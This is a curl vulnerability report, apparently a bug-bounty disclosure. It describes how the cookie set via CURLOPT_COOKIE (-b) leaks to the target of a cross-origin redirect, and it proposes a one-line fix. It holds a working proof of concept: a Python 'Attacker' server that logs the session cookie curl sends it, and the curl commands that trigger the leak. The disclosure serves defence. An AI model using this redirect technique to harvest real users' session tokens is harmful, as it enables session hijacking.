curl · Report #3766065
CURLOPT_COOKIE leaked to cross-origin redirect target — CURLOPT_UNRESTRICTED_AUTH bypass for the STRING_COOKIE path
How it was found
Summary:
http_cookies() at lib/http.c:2532-2534 appends the value of CURLOPT_COOKIE (the cookie supplied via -b) to outgoing Cookie: headers without invoking Curl_auth_allowed_to_host(). As a result, when CURLOPT_FOLLOWLOCATION is enabled and the initial origin issues a cross-origin redirect (open redirector, compromised site, SSO/cross-site flow, etc.), the user's session token is transmitted in plaintext to the redirect target. This directly contradicts the documented promise in CURLOPT_UNRESTRICTED_AUTH.md that "by default, libcurl only sends ... explicitly set Cookie: headers to the initial host." The parallel code path for CURLOPT_HTTPHEADER-supplied Cookie: headers at lib/http.c:1832-1837 correctly invokes Curl_auth_allowed_to_host() and suppresses the header on cross-origin redirects — confirming developer intent. The omission on the STRING_COOKIE injection path is an asymmetric oversight, not a design choice. This is the same bug class as CVE-2022-27774, whose CURLOPT_USERNAME/CURLOPT_PASSWORD counterpart was tightened in the current development cycle at lib/url.c:1442 (now via Curl_auth_allowed_to_origin(data, conn->origin)) but the cookie entry was not updated in the same pass.
Affected version
curl 8.21.0-DEV built from master commit 6597e6d461 (curl-8_20_0-240). The same code path also exists in the curl-8.20.0 release.
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV OpenSSL/3.x
Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps
mqtt pop3 pop3s rtsp scp sftp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM
SSL threadsafe TLS-SRP UnixSockets
Platform: Linux x86_64, default --with-openssl build (no special flags required).
Steps To Reproduce:
A self-contained reproducer is preserved at research/sandbox/poc-F-2026-005/ (poc.sh + server.py). Minimal manual reproduction:
1. Start two HTTP servers on different ports — they appear as different origins to curl (Curl_peer_equal compares scheme + host + port):
# server.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import threading, time
class Victim(BaseHTTPRequestHandler):
def do_GET(self):
body = b"redirecting\n"
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:8081/landing")
self.send_header("Content-Length", str(len(body)))
self.send_header("Connection", "close")
self.end_headers(); self.wfile.write(body)
def log_message(self, *a): pass
class Attacker(BaseHTTPRequestHandler):
def do_GET(self):
print("ATTACKER got Cookie:", self.headers.get("Cookie", "<NONE>"), flush=True)
body = b"landed-on-attacker\n"
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers(); self.wfile.write(body)
def log_message(self, *a): pass
threading.Thread(target=lambda: HTTPServer(("127.0.0.1", 8080), Victim).serve_forever(), daemon=True).start()
threading.Thread(target=lambda: HTTPServer(("127.0.0.1", 8081), Attacker).serve_forever(), daemon=True).start()
time.sleep(0.3); print("servers up", flush=True)
while True: time.sleep(3600)
python3 server.py
2. Trigger the bug — cookie supplied via -b (CURLOPT_COOKIE):
curl -sS -v -L -b "session=SECRET-TOKEN-12345" http://127.0.0.1:8080/
Observed: Cookie: session=SECRET-TOKEN-12345 is sent to 127.0.0.1:8081 on the redirected request. The attacker-server logs the user's session token verbatim. curl -v excerpt from the redirect leg:
* Issue another request to this URL: 'http://127.0.0.1:8081/landing'
> GET /landing HTTP/1.0
> Host: 127.0.0.1:8081
> Cookie: session=SECRET-TOKEN-12345 ← LEAK
3. In-source control — same cookie value, but supplied via -H (CURLOPT_HTTPHEADER):
curl -sS -v -L -H "Cookie: session=CONTROL-TOKEN-67890" http://127.0.0.1:8080/
Observed: the Cookie: header is stripped from the redirected request; the attacker-server logs <NONE> for the Cookie header. This is the parallel path at lib/http.c:1832-1837 that already calls Curl_auth_allowed_to_host(). The asymmetry between steps 2 and 3 — same harness, same target, same payload, only the cookie-setting API differs — confirms (a) the harness is correctly wired, and (b) the developers' intent for this boundary is exactly the documented contract, but only one of the two API surfaces honors it.
Impact
A user-supplied session token (cookie) is leaked to an attacker-controlled cross-origin endpoint whenever all three conditions hold:
- The user has set
CURLOPT_COOKIE(or used-b) — a documented top-level API for supplying a cookie alongside a request. - The user has enabled
CURLOPT_FOLLOWLOCATION(or used-L) — documented standard usage. - The user's trusted initial origin issues a cross-origin redirect. Real-world channels include open-redirector endpoints (OWASP-standard finding, present on many OAuth/SSO/marketing-link paths), site compromise or content injection on the trusted origin, and operationally legitimate cross-origin redirects (account merge, third-party SSO) whose destination is not under the same control as the cookie issuer.
None of the three conditions involve a non-default build, an experimental feature, or a documented-unsafe option (such as VERIFYPEER=0). The user is following the documented default contract; the protection that should fire silently does not.
The leaked cookie can be replayed by the attacker to impersonate the user on the trusted origin — classic session hijacking. Rotating the user's password does not help, because the leaked artifact is the already-issued session token, which remains valid until the server revokes that specific session. Affected workflows include CI/CD scripts that authenticate to private repositories/registries, monitoring or backup scripts that hit authenticated endpoints with -b, and any libcurl application that mirrors this pattern.
The fix is a one-line addition to the existing Curl_checkheaders() guard at lib/http.c:2532-2534:
if(data->set.str[STRING_COOKIE] &&
!Curl_checkheaders(data, STRCONST("Cookie")) &&
Curl_auth_allowed_to_host(data)) /* add this clause */
addcookies = data->set.str[STRING_COOKIE];
This brings the CURLOPT_COOKIE path into parity with the CURLOPT_HTTPHEADER "Cookie:" path at lib/http.c:1832-1837 and honors the CURLOPT_UNRESTRICTED_AUTH documented default behavior. The same gate (Curl_auth_allowed_to_host() / Curl_auth_allowed_to_origin()) is already used elsewhere in this release cycle to close the equivalent gap for CURLOPT_USERNAME and CURLOPT_PASSWORD (see lib/url.c:1442).